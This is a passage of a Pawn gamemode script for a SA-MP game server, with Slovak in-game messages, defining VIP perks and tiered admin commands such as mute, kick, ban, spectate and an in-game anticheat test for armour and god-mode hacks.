        else if(Player[playerid][DM_Player] != 9999) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ] {FFFFFF}Nemôžeš používať tento príkaz počas Death Matchu !");
        else
        {
            SendClientMessage(playerid,COLOR_GOLD,"[  VIP  ] Uzdravil si sa !");
            SetPlayerHealth(playerid,100);
            SetPlayerArmour(playerid,100);

            if(Player[playerid][VIP]==2) VIP_Block[playerid][vhp]=420;
            if(Player[playerid][VIP]==3) VIP_Block[playerid][vhp]=300;
        }
    }
    return 1;
}

//------------------------------------------------------------

dcmd_vhideme(playerid, params[])
{
    if(IsPlayerConnected(playerid))
    {
        #pragma unused params
        if(Player[playerid][VIP]==0) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} Nie si VIP !");
        else if(Player[playerid][VIP]<=2) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} Až od VIP Tarif Gold !");
        else
        {
             HidePlayerMarker(playerid);
             SendClientMessage(playerid,COLOR_GOLD,"[  VIP  ] Schoval si sa na mape !");
             Player[playerid][VIP_Color]=true;
        }
    }
    return 1;
}

//------------------------------------------------------------

dcmd_vshowme(playerid, params[])
{
    if(IsPlayerConnected(playerid))
    {
        #pragma unused params
        if(Player[playerid][VIP]==0) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} Nie si VIP !");
        else if(Player[playerid][VIP]<=2) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} Až od VIP Tarif Gold !");
        else
        {
             ShowPlayerMarker(playerid);
             SendClientMessage(playerid,COLOR_GOLD,"[  VIP  ] Odkryl si sa na mape !");
             Player[playerid][VIP_Color]=false;
        }
    }
    return 1;
}

//------------------------------------------------------------

dcmd_vsawn(playerid, params[])
{
    if(IsPlayerConnected(playerid))
    {
        new remaining_msg[128];
        format(remaining_msg,128,"[  !  ]{ffffff} Ešte nemôžeš použíť tento príkaz, počkaj %d sec. !",VIP_Block[playerid][vsawn]);

        #pragma unused params
        if(Player[playerid][VIP]==0) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} Nie si VIP !");
        else if(Player[playerid][VIP]<=2) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} Až od VIP Tarif Gold !");
        else if(VIP_Block[playerid][vsawn]>0) return SendClientMessage(playerid,COLOR_WARNING,remaining_msg);
        else
        {
             SendClientMessage(playerid,COLOR_GOLD,"[  VIP  ] Dal si si Sawny !");
             GivePlayerWeapon(playerid,26,250);

             VIP_Block[playerid][vsawn]=180;
        }
    }
    return 1;
}

//------------------------------------------------------------------------------------------------------------------|
//------------------------------------------------------------------------------------------------------------------|
//------------------------------------------------------------------------------------------------------------------|
//-----------------------------------------------< AS >-------------------------------------------------------------|
//------------------------------------------------------------------------------------------------------------------|
//------------------------------------------------------------------------------------------------------------------|
//------------------------------------------------------------------------------------------------------------------|

dcmd_say(playerid, params[])
{
if(IsPlayerConnected(playerid))
{
   if(Player[playerid][AdminLevel]==0) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ] {FFFFFF}Nie si Administrátor !");
      else if(!strlen(params)) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ] {FFFFFF}Použi: /say [ TEXT ] !");
      else
      {
         new Name[26];
         GetPlayerName(playerid,Name,26);
         new string1[256];
         format(string1,256, "* Admin %s: %s",Name,params);
         SendClientMessageToAll(COLOR_ADMIN,string1);
      }
}
    return 1;
}

//------------------------------------------------------------

dcmd_text(playerid, params[])
{
if(IsPlayerConnected(playerid))
{
   if(Player[playerid][AdminLevel]==0) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ] {FFFFFF}Nie si Administrátor !");
      else if(!strlen(params)) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ] {FFFFFF}Použi: /text [ TEXT ] !");
      else
      {
         new string[128];
         format(string, 128, "~w~%s",params);
         GameTextForAll(string,6000,1);
      }
}
    return 1;
}

//------------------------------------------------------------

dcmd_getmypos(playerid, params[])
{
    #pragma unused params
    if(IsPlayerConnected(playerid))
    {
        if(Player[playerid][AdminLevel]==0) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ] {FFFFFF}Nie si Administrátor !");
        else
        {
            new string[256], Float:x, Float:y, Float:z, Float:a;

            if(GetPlayerVehicleID(playerid) == 0)
            {
                GetPlayerPos(playerid, x, y, z);
                GetPlayerFacingAngle(playerid, a);
            }
            else
            {
                GetVehiclePos(GetPlayerVehicleID(playerid), x, y, z);
                GetVehicleZAngle(GetPlayerVehicleID(playerid), a);
            }

            format(string, 256, "X: %.4f     Y: %.4f     Z: %.4f     Angle: %.4f     Interior: %d     Virtual World: %d", x, y, z, a, GetPlayerInterior(playerid), GetPlayerVirtualWorld(playerid));
            SendClientMessage(playerid, COLOR_ADMIN, string);
        }
    }
    return 1;
}

//------------------------------------------------------------

dcmd_clear(playerid, params[])
{
#pragma unused params
if(IsPlayerConnected(playerid))
{
   if(Player[playerid][AdminLevel]==0) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ] {FFFFFF}Nie si Administrátor !");
      else
      {
         new Name[26];
         GetPlayerName(playerid,Name,26);
         for(new c=0;c<120;c++) SendClientMessageToAll(0x00000000," ");
         new string[128];
         format(string, 128, "Administrátor %s vymazal chat !", Name);
         SendClientMessageToAll(COLOR_ADMIN,string);
      }
}
return 1;
}

//------------------------------------------------------------

dcmd_mute(playerid, params[])
{
if(IsPlayerConnected(playerid))
{
   new id = strval(params);
   new find = chrfind(' ', params);
   new time = strval(params[find + 1]);
   
         if(Player[playerid][AdminLevel]==0) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ] {FFFFFF}Nie si Administrátor !");
      else if(Player[playerid][AdminLevel]==1) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ] {FFFFFF}Na použitie tohto príkazu potrebuješ aspoň Admin Level 2 !");
      else if(!strlen(params) || (find == -1)) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ] {FFFFFF}Použi: /mute [ ID ] [ SECONDS ]");
      else if(!IsPlayerConnected(id)) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ] {FFFFFF}Hráč zo zadaným ID nie je na serveri !");
      else if(IsPlayerNPC(id)) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} Toto je NPC !");
      else if(time < 10 || time > 3600) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ] {FFFFFF}Použi: /mute [ ID ] [ 10-3600 ]");
      else
      {
         new Name[26];
         new Name2[26];
         GetPlayerName(playerid,Name,26);
         GetPlayerName(id,Name2,26);
         new string[128];
         format(string, 128, "Hráč %s bol umlčaný Administrátorom %s na %d sekúnd !", Name2,Name,time);
         SendClientMessageToAll(COLOR_ADMIN,string);
         Player[id][Mute]=true;
         Player[id][ToMuteTime] = gettime() + time;
      }
}
    return 1;
}

//------------------------------------------------------------

dcmd_var(playerid, params[])
{
if(IsPlayerConnected(playerid))
{
   new id = strval(params);
   if(Player[playerid][AdminLevel]==0) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ] {FFFFFF}Nie si Administrátor !");
      else if(Player[playerid][AdminLevel]==1) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ] {FFFFFF}Na použitie tohto príkazu potrebuješ aspoň Admin Level 2 !");
      else if(!strlen(params) || !strlen(params[chrfind(' ',params)+1])) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ] {FFFFFF}Použi: /var [ ID ] [ DŮVOD ]");
      else if(!IsPlayerConnected(id)) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ] {FFFFFF}Hráč zo zadaným ID nieje na serveri !");
      else if(IsPlayerNPC(id)) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} Toto je NPC !");
      else if(strlen(params[chrfind(' ',params)+1])>500) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ] {FFFFFF}Dôvod je příliš dlhý, maximálne 500 znakov !");
      else
      {
         Player[id][Warnings]++;
         new Name[26];
         new Name2[26];
         GetPlayerName(playerid,Name,26);
         GetPlayerName(id,Name2,26);
         new string[256];
         format(string,256,"Administrátor %s napomenul hráča %s (%d) [ Dôvod: %s ] (Warning %d/3)",Name,Name2,id,params[chrfind(' ',params)+1],Player[id][Warnings]);
         SendClientMessageToAll(COLOR_ADMIN,string);
         if(Player[id][Warnings]>=3) Kick(id);
      }
}
    return 1;
}

//------------------------------------------------------------

dcmd_cheattest(playerid, params[])
{
    if(IsPlayerConnected(playerid))
    {
        new id = strval(params);

             if(Player[playerid][AdminLevel]==0) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ] {FFFFFF}Niesi Administrátor !");
        else if(Player[playerid][AdminLevel]==1) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ] {FFFFFF}Na použitie tohto príkazu potrebuješ aspoň Admin Level 2 !");
        else if(!strlen(params) || strlen(params)>3) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ] {FFFFFF}Použi: /cheattest [ ID ]");
        else if(!IsPlayerConnected(id)) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ] {FFFFFF}Hráč se zadaným ID není na serveru !");
        else if(IsPlayerNPC(id)) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} Toto je NPC !");
        else if(id == playerid) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ] {FFFFFF}Nemôžeš testovať sám sebe !");
        else
        {
            new Name[24];
            new Name2[24];
            GetPlayerName(playerid, Name, 24);
            GetPlayerName(id, Name2, 24);

            new string[128];
            format(string,128, "Administrátor %s testuje hráča %s anticheatom !", Name, Name2);
            SendClientMessageToAll(COLOR_ADMIN, string);

            format(string,128, "Testujem hráča %s anticheatom, počekaj prosím na výsledky...", Name2);
             
            SavePlayerLastStats(id);
            
            SendClientMessage(playerid, COLOR_WHITE, string);

            SetPlayerPos(id, 3000, 3000, 1);

            SetPlayerArmour(id, 100.00);

            CreateExplosion(3004, 3000, 1, 7, 10);

            SetTimerEx("AnticheatTestStepOne", 1000, 0, "ii", id, playerid);
        }
    }
    return 1;
}

forward AnticheatTestStepOne(id, playerid);
public AnticheatTestStepOne(id, playerid)
{
    if(IsPlayerConnected(id))
    {
        new Float:armour;
        GetPlayerArmour(id, armour);

        new Name2[24];
        GetPlayerName(id, Name2, 24);
        new string[128];

        if(armour > 85)
        {
            if(IsPlayerConnected(playerid)) SendClientMessage(playerid, COLOR_WHITE, "Armour Hack: {00bb00}Ano");

            format(string,128, "Hráč %s bol pozitivny na Armour Hack !", Name2);
            SendClientMessageToAll(COLOR_ADMIN, string);
        }
        else
        {
            if(IsPlayerConnected(playerid)) SendClientMessage(playerid, COLOR_WHITE, "Armour Hack: {ff0000}Nie");

            format(string,128, "Hráč %s bol negativny na Armour Hack !", Name2);
            SendClientMessageToAll(COLOR_ADMIN, string);
        }

        ////////////////////////////////////

        SetPlayerPos(id, 3000, 3000, 1);
        SetPlayerArmour(id, 0.00);
        SetPlayerHealth(id, 100.00);
        CreateExplosion(3004, 3000, 1, 7, 10);

        SetTimerEx("AnticheatTestStepTwo", 1000, 0, "ii", id, playerid);
    }
    return 1;
}

forward AnticheatTestStepTwo(id, playerid);
public AnticheatTestStepTwo(id, playerid)
{
    if(IsPlayerConnected(id))
    {
        new Float:hp;
        GetPlayerHealth(id, hp);

        new Name2[24];
        GetPlayerName(id, Name2, 24);
        new string[128];

        if(hp > 85)
        {
            if(IsPlayerConnected(playerid)) SendClientMessage(playerid, COLOR_WHITE, "God Mode: {00bb00}Ano");

            format(string,128, "Hráč %s bol pozitivny na God Mode !", Name2);
            SendClientMessageToAll(COLOR_ADMIN, string);
        }
        else
        {
            if(IsPlayerConnected(playerid)) SendClientMessage(playerid, COLOR_WHITE, "God Mode: {ff0000}Nie");

            format(string,128, "Hráč %s bol negativny na God Mode !", Name2);
            SendClientMessageToAll(COLOR_ADMIN, string);
        }

        LoadPlayerLastStats(id);
    }
    return 1;
}

//------------------------------------------------------------

dcmd_unmute(playerid, params[])
{
if(IsPlayerConnected(playerid))
{
   new id = strval(params);
   if(Player[playerid][AdminLevel]==0) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ] {FFFFFF}Nie si Administrátor !");
      else if(Player[playerid][AdminLevel]==1) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ] {FFFFFF}Na použitie tohto príkazu potrebuješ aspoň Admin Level 2 !");
      else if(!strlen(params) || strlen(params)>3) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ] {FFFFFF}Použi: /unmute [ ID ]");
      else if(!IsPlayerConnected(id)) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ] {FFFFFF}Hráč zo zadaným ID nieje na serveri !");
      else if(IsPlayerNPC(id)) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} Toto je NPC !");
      else
      {
         new Name[26];
         new Name2[26];
         GetPlayerName(playerid,Name,26);
         GetPlayerName(id,Name2,26);
         new string[128];
         format(string, 128, "Hráč %s bol odmlčaný Administrátorom %s !", Name2,Name);
         SendClientMessageToAll(COLOR_ADMIN,string);
         Player[id][Mute]=false;
         Player[id][ToMuteTime]=0;
      }
}
    return 1;
}

//------------------------------------------------------------

dcmd_hideme(playerid, params[])
{
    if(IsPlayerConnected(playerid))
    {
        #pragma unused params
        if(Player[playerid][AdminLevel]==0) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ] {FFFFFF}Nie si Administrátor !");
        else if(Player[playerid][AdminLevel]==1) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ] {FFFFFF}Na použitie tohto príkazu potrebuješ aspoň Admin Level 2 !");
        else
        {
             HidePlayerMarker(playerid);
             SendClientMessage(playerid,COLOR_ADMIN,"Skryl si sa na mape !");
        }
    }
    return 1;
}

//------------------------------------------------------------

dcmd_showme(playerid, params[])
{
if(IsPlayerConnected(playerid))
{
    #pragma unused params
    if(Player[playerid][AdminLevel]==0) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ] {FFFFFF}Nie si Administrátor !");
    else if(Player[playerid][AdminLevel]==1) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ] {FFFFFF}Na použitie tohto príkazu potrebuješ aspoň Admin Level 2 !");
    else
    {
         ShowPlayerMarker(playerid);
         SendClientMessage(playerid,COLOR_ADMIN,"Odkryl si sa na mape !");
    }
}
    return 1;
}

//------------------------------------------------------------

dcmd_freeze(playerid, params[])
{
if(IsPlayerConnected(playerid))
{
   new id = strval(params);
   if(Player[playerid][AdminLevel]==0) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ] {FFFFFF}Nie si Administrátor !");
      else if(Player[playerid][AdminLevel]==1) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ] {FFFFFF}Na použitie tohto príkazu potrebuješ aspoň Admin Level 2 !");
      else if(!strlen(params) || strlen(params)>3) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ] {FFFFFF}Použi: /freeze [ ID ]");
      else if(!IsPlayerConnected(id)) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ] {FFFFFF}Hráč zo zadaným ID nieje na serveri !");
      else if(IsPlayerNPC(id)) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} Toto je NPC !");
      else
      {
         new Name[26];
         new Name2[26];
         GetPlayerName(playerid,Name,26);
         GetPlayerName(id,Name2,26);
         new string[128];
         format(string, 128, "Hráč %s bol zmrazený Administrátorom %s !", Name2,Name);
         SendClientMessageToAll(COLOR_ADMIN,string);
         TogglePlayerControllable(id,0);
         Player[id][FreezeP]=true;
      }
}
    return 1;
}

//------------------------------------------------------------

dcmd_unfreeze(playerid, params[])
{
    if(IsPlayerConnected(playerid))
    {
      new id = strval(params);
      if(Player[playerid][AdminLevel]==0) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ] {FFFFFF}Nie si Administrátor !");
      else if(Player[playerid][AdminLevel]==1) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ] {FFFFFF}Na použitie tohto príkazu potrebuješ aspoň Admin Level 2 !");
      else if(!strlen(params) || strlen(params)>3) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ] {FFFFFF}Použi: /unfreeze [ ID ]");
      else if(!IsPlayerConnected(id)) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ] {FFFFFF}Hráč zo zadaným ID nieje na serveri !");
      else if(IsPlayerNPC(id)) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} Toto je NPC !");
      else
      {
         new Name[26];
         new Name2[26];
         GetPlayerName(playerid,Name,26);
         GetPlayerName(id,Name2,26);
         new string[128];
         format(string, 128, "Hráč %s bol odmrazený Administrátorom %s !", Name2,Name);
         SendClientMessageToAll(COLOR_ADMIN,string);
         TogglePlayerControllable(id,1);
         Player[id][FreezeP]=false;
      }
    }
    return 1;
}

//------------------------------------------------------------

dcmd_goto(playerid, params[])
{
if(IsPlayerConnected(playerid))
{
   new id = strval(params);
   if(Player[playerid][AdminLevel]==0) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ] {FFFFFF}Nie si Administrátor !");
      else if(Player[playerid][AdminLevel]==1 || Player[playerid][AdminLevel]==2) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ] {FFFFFF}Na použitie tohto príkazu potrebuješ aspoň Admin Level 3 !");
      else if(!strlen(params) || strlen(params)>3) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ] {FFFFFF}Použi: /goto [ ID ]");
      else if(!IsPlayerConnected(id)) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ] {FFFFFF}Hráč zo zadaným ID nieje na serveri !");
      else
      {
        new Float:X, Float:Y, Float:Z, Float:A, Float:x2, Float:y2, Float:Ax;
        GetPlayerPos(id,X,Y,Z);
        GetPlayerFacingAngle(id,A);

        if(!IsPlayerInAnyVehicle(playerid))
        {
            Ax = A+180;
            if(Ax>=360) Ax=Ax-360;
            x2 = X + (1 * floatsin(-Ax, degrees));
            y2 = Y + (1 * floatcos(-Ax, degrees));
            SetPlayerPos(playerid,x2,y2,Z+1.25);
        }
        else if(GetPlayerState(playerid) == PLAYER_STATE_DRIVER)
        {
            Ax = A+180;
            if(Ax>=360) Ax=Ax-360;
            x2 = X + (5 * floatsin(-Ax, degrees));
            y2 = Y + (5 * floatcos(-Ax, degrees));
            new vehicleid = GetPlayerVehicleID(playerid);
            SetVehiclePos(vehicleid,x2,y2,Z+1.25);
            SetVehicleZAngle(vehicleid,A+90);
            PutPlayerInVehicle(playerid,vehicleid,0);
        }
        SetPlayerInterior(playerid,GetPlayerInterior(id));
        SetPlayerVirtualWorld(playerid,GetPlayerVirtualWorld(id));
      }
}
    return 1;
}

//------------------------------------------------------------

dcmd_get(playerid, params[])
{
if(IsPlayerConnected(playerid))
{
   new id = strval(params);
   if(Player[playerid][AdminLevel]==0) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ] {FFFFFF}Nie si Administrátor !");
      else if(Player[playerid][AdminLevel]<=2) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ] {FFFFFF}Na použitie tohto príkazu potrebuješ aspoň Admin Level 3 !");
      else if(!strlen(params) || strlen(params)>3) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ] {FFFFFF}Použi: /get [ ID ]");
      else if(!IsPlayerConnected(id)) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ] {FFFFFF}Hráč zo zadaným ID nieje na serveri !");
      else if(IsPlayerNPC(id)) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} Toto je NPC !");
      else
      {
        new Float:X, Float:Y, Float:Z, Float:A, Float:x2, Float:y2, Float:Ax;

        if(GetPlayerVehicleID(playerid) == 0)
        {
            GetPlayerPos(playerid,X,Y,Z);
            GetPlayerFacingAngle(playerid,A);
        }
        else
        {
            GetVehiclePos(GetPlayerVehicleID(playerid),X,Y,Z);
            GetVehicleZAngle(GetPlayerVehicleID(playerid),A);
        }

        if(GetPlayerVehicleID(id) == 0)
        {
            Ax = A+180;
            if(Ax>=360) Ax-=360;
            x2 = X + (1 * floatsin(-Ax, degrees));
            y2 = Y + (1 * floatcos(-Ax, degrees));
            SetPlayerPos(id,x2,y2,Z+1.25);
        }
        else
        {
            Ax = A+180;
            if(Ax>=360) Ax-=360;
            x2 = X + (5 * floatsin(-Ax, degrees));
            y2 = Y + (5 * floatcos(-Ax, degrees));
            new vehicleid = GetPlayerVehicleID(id);
            SetVehiclePos(vehicleid,x2,y2,Z+1.25);
            SetVehicleZAngle(vehicleid,A+90);
            PutPlayerInVehicle(id,vehicleid,0);
        }
        SetPlayerInterior(id,GetPlayerInterior(playerid));
        SetPlayerVirtualWorld(id,GetPlayerVirtualWorld(playerid));
      }
}
    return 1;
}

//------------------------------------------------------------

dcmd_kick(playerid, params[])
{
if(IsPlayerConnected(playerid))
{
   new id = strval(params);
   if(Player[playerid][AdminLevel]==0) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ] {FFFFFF}Nie si Administrátor !");
      else if(Player[playerid][AdminLevel]==1 || Player[playerid][AdminLevel]==2) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ] {FFFFFF}Na použitie tohto príkazu potrebuješ aspoň Admin Level 3 !");
      else if(!strlen(params) || !strlen(params[chrfind(' ',params)+1])) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ] {FFFFFF}Použi: /kick [ ID ] [ DÔVOD ]");
      else if(strlen(params[chrfind(' ',params)+1])>320) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ] {FFFFFF}Zadal si veľmý dlhý dôvod ! Maximálne 320 znakov !");
      else if(!IsPlayerConnected(id)) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ] {FFFFFF}Hráč zo zadaným ID nie je na serveri !");
      else if(IsPlayerNPC(id)) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} Toto je NPC !");
      else
      {
         new Name[26];
         new Name2[26];
         GetPlayerName(playerid,Name,26);
         GetPlayerName(id,Name2,26);
         new string[144];
         format(string,144,"Hráč %s bol vyhodený Administrátorom %s [ DÔVOD: %s ]",Name2,Name,params[chrfind(' ',params)+1]);
         SendClientMessageToAll(COLOR_ADMIN,string);
         Kick(id);
      }
}
    return 1;
}

//------------------------------------------------------------

dcmd_spec(playerid, params[])
{
if(IsPlayerConnected(playerid))
{
   new id = strval(params);
   if(Player[playerid][AdminLevel]==0) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ] {FFFFFF}Nie si Administrátor !");
      else if(Player[playerid][AdminLevel]==1 || Player[playerid][AdminLevel]==2) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ] {FFFFFF}Na použitie tohto príkazu potrebuješ aspoň Admin Level 3 !");
      else if(!strlen(params) || strlen(params)>3) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ] {FFFFFF}Použi: /spec [ ID ]");
      else if(!IsPlayerConnected(id)) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ] {FFFFFF}Hráč zo zadaným ID nie je na serveri !");
      else if(playerid == id) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ] {FFFFFF}Si nahlavu? Sebe sledovať nemôžeš ! :D");
      else
      {
         SavePlayerLastStats(playerid);
      
         new Name2[26];
         GetPlayerName(id,Name2,26);
         Player[playerid][Specate]=true;
         TogglePlayerSpectating(playerid,1);
               if(!IsPlayerInAnyVehicle(id)) PlayerSpectatePlayer(playerid,id);
         else if(IsPlayerInAnyVehicle(id))  PlayerSpectateVehicle(playerid,GetPlayerVehicleID(id));
         new string[128];
         format(string,128,"Začal si sledovať hráča %s, pre vypnutie specatoru použi /unspec",Name2);
         SendClientMessage(playerid,COLOR_ADMIN,string);
         
         Player[playerid][SpecSpawn]=true;
      }
}
    return 1;
}

//------------------------------------------------------------

dcmd_unspec(playerid, params[])
{
if(IsPlayerConnected(playerid))
{
    #pragma unused params
   if(Player[playerid][AdminLevel]==0) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ] {FFFFFF}Nie si Administrátor !");
      else if(Player[playerid][AdminLevel]==1 || Player[playerid][AdminLevel]==2) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ] {FFFFFF}Na použitie tohto príkazu potrebuješ aspoň Admin Level 3 !");
      else if(Player[playerid][Specate]==false) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ] {FFFFFF}Nikoho neleduješ !");
       else
       {
         TogglePlayerSpectating(playerid,0);
         PlayerCameraBack(playerid);
         Player[playerid][Specate]=false;
      }
}
    return 1;
}

//------------------------------------------------------------

dcmd_getall(playerid, params[])
{
if(IsPlayerConnected(playerid))
{
   #pragma unused params
   if(Player[playerid][AdminLevel]==0) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ] {FFFFFF}Niesi Administrátor !");
      else if(Player[playerid][AdminLevel]<=3) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ] {FFFFFF}Na použitie tohto príkazu potrebuješ aspoň Admin Level 4 !");
      else
      {
      new Float:X, Float:Y, Float:Z, Float:A, Float:x2, Float:y2;
      GetPlayerPos(playerid,X,Y,Z);
      GetPlayerFacingAngle(playerid,A);
      x2 = X + (1.875 * floatsin(-A, degrees));
      y2 = Y + (1.875 * floatcos(-A, degrees));

        for(new i=0; i<=Server[ConP]; i++)
        {
            if(IsPlayerConnected(i))
            {
                if(!IsPlayerNPC(i))
                {
                    SetPlayerInterior(i,GetPlayerInterior(playerid));
                    SetPlayerVirtualWorld(i,GetPlayerVirtualWorld(playerid));

                    if(GetPlayerVehicleID(i) == 0)
                    {
                        SetPlayerPos(i,x2,y2,Z+0.6);
                    }
                    else
                    {
                        SetVehiclePos(GetPlayerVehicleID(i),x2,y2,Z+0.6);
                    }
                }
            }
        }

        new string[128], Name[24];
        GetPlayerName(playerid,Name,24);
        format(string,128,"Administrátor %s portnul všetkých hráčov k sebe !", Name);
        SendClientMessageToAll(COLOR_ADMIN,string);
      }
}
    return 1;
}

//------------------------------------------------------------

dcmd_disarmall(playerid, params[])
{
if(IsPlayerConnected(playerid))
{
   #pragma unused params
   if(Player[playerid][AdminLevel]==0) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ] {FFFFFF}Nie si Administrátor !");
      else if(Player[playerid][AdminLevel]<=3) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ] {FFFFFF}Na použitie tohto príkazu potrebuješ aspoň Admin Level 4 !");
      else
      {
        for(new i=0; i<=Server[ConP]; i++)
        {
            if(IsPlayerConnected(i))
            {
                 if(!IsPlayerNPC(i)) ResetPlayerWeapons(i);
            }
        }

        new string[128], Name[24];
        GetPlayerName(playerid,Name,24);
        format(string,128,"Administrátor %s odzbrojil všetkých hráče !",Name);
        SendClientMessageToAll(COLOR_ADMIN,string);
      }
}
    return 1;
}

//------------------------------------------------------------

dcmd_ban(playerid, params[])
{
    if(IsPlayerConnected(playerid))
    {
        new id = strval(params);
        
             if(Player[playerid][AdminLevel]==0) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ] {FFFFFF}Nie si Administrátor !");
        else if(Player[playerid][AdminLevel]<=3) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ] {FFFFFF}Na použitie tohto príkazu potrebuješ aspoň Admin Level 4 !");
        else if(!strlen(params) || !strlen(params[chrfind(' ',params)+1])) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ] {FFFFFF}Použi: /ban [ ID ] [ DÔVOD ]");
        else if(strlen(params[chrfind(' ',params)+1])>320) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ] {FFFFFF}Zadal si veľmy dlhý dôvod ! Maximálne 320 znakov !");
        else if(!IsPlayerConnected(id)) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ] {FFFFFF}Hráč zo zadaným ID nieje na serveri !");
        else if(IsPlayerNPC(id)) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} Toto je NPC !");
        else
        {
            new Name[26];
            new Name2[26];
            GetPlayerName(playerid,Name,26);
            GetPlayerName(id,Name2,26);
            new string[128];
            format(string,128,"Hráč %s bol banovaný Administrátorom %s [ DŮVOD: %s ]", Name2, Name, params[chrfind(' ',params)+1]);
            SendClientMessageToAll(COLOR_ADMIN,string);
            format(string, 128, "%s: %s", Name, params[chrfind(' ',params)+1]);
            BanEx(id, string);
        }
    }
    return 1;
}

//------------------------------------------------------------

dcmd_shownt(playerid, params[])
{
    #pragma unused params
    if(IsPlayerConnected(playerid))
    {
             if(Player[playerid][AdminLevel]==0) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ] {FFFFFF}Nie si Administrátor !");
        else if(Player[playerid][AdminLevel]<=4) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ] {FFFFFF}Na použitie tohto príkazu potrebuješ aspoň Admin Level 5 !");
        else
        {
            new Name[24];
               GetPlayerName(playerid,Name,24);
              new string[128];
             format(string,128,"Administrátor %s odkryl nicky !",Name);
            SendClientMessageToAll(COLOR_ADMIN,string);
            
            for(new i=0; i<=Server[ConP]; i++)
            {
                if(IsPlayerConnected(i))
                {
                    if(!IsPlayerNPC(i))
                    {
                           ShowPlayerNameTagForPlayer(playerid, i, true);
                       }
                }
            }
        }
    }
    return 1;
}

//------------------------------------------------------------

dcmd_hident(playerid, params[])
{
    #pragma unused params
    if(IsPlayerConnected(playerid))
    {
             if(Player[playerid][AdminLevel]==0) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ] {FFFFFF}Nie si Administrátor !");
        else if(Player[playerid][AdminLevel]<=4) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ] {FFFFFF}Na použitie tohto príkazu potrebuješ aspoň Admin Level 5 !");
        else
        {
            new Name[24];
            GetPlayerName(playerid,Name,24);
            new string[128];
            format(string,128,"Administrátor %s schoval nicky !",Name);
            SendClientMessageToAll(COLOR_ADMIN,string);
            
